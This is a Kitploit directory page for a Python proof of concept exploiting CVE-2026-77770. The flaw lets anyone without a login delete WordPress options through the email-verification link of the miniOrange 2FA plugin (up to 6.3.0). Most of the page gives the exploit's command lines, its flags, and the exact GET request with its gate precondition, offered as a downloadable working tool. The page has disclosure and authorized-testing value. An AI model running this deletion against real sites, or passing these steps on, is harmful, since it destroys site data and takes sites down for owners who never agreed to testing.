Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-77770 — Python PoC for CVE-2026-77770, an unauthenticated arbitrary WordPress option deletion flaw in the miniOrange 2FA plugin (<= 6.3.0) via the email-verification link. | Kitploit
Tools/GitHubGitHub/cflowsec/cve-2026-77770
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubcflowsec/cve-2026-77770

CVE-2026-77770

Python PoC for CVE-2026-77770, an unauthenticated arbitrary WordPress option deletion flaw in the miniOrange 2FA plugin (<= 6.3.0) via the email-verification link.

View Repository
15h 54m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-77770

miniOrange 2FA CVE POC

miniOrange 2FA (WordPress plugin miniorange-2-factor-authentication) ≤ 6.3.0 — unauthenticated arbitrary WordPress option deletion via the email-verification link (userID / Txid / accessToken).

For authorized testing only. Do not run this against systems you do not own or have permission to test.

Requires: Python 3, standard library only.

root@kitploit:~
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
FlagWhat it does
-u / --urlWordPress site root (required). http:// or https://; a hostname is tried as HTTPS first, then HTTP. Self-signed TLS is retried automatically
--testGuest: plugin version + email-verification popup
--delete OPTIONDelete that wp_options row. blogname is visible via /wp-json/ (BEFORE / AFTER)
--gate OPTIONOption whose stored value is 3 (the Txid gate). Repeatable. Default: wp_page_for_privacy_policy, then thread_comments_depth
--insecureSkip TLS verify
--timeoutHTTP timeout seconds (default 30)

Unauthenticated. The gadget is a GET to /?userID=OPTION&Txid=GATE&accessToken=x. GATE must currently hold integer 3. On a miss of the 5-minute window the plugin also writes GATE=0.

--test does not delete. --delete blogname is the public proof (site title in /wp-json/ goes empty). 6.3.1 prefixes keys (mo2f_oobe_*) so unprefixed names are not deleted.

Stdout: VERSION, HANDLER, PRESENT, SITENAME, OPTION, BEFORE, AFTER, GATE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, ATTEMPTED.

Working PoC

CVE: CVE-2026-77770. Plugin changelog 6.3.1.

Download Tool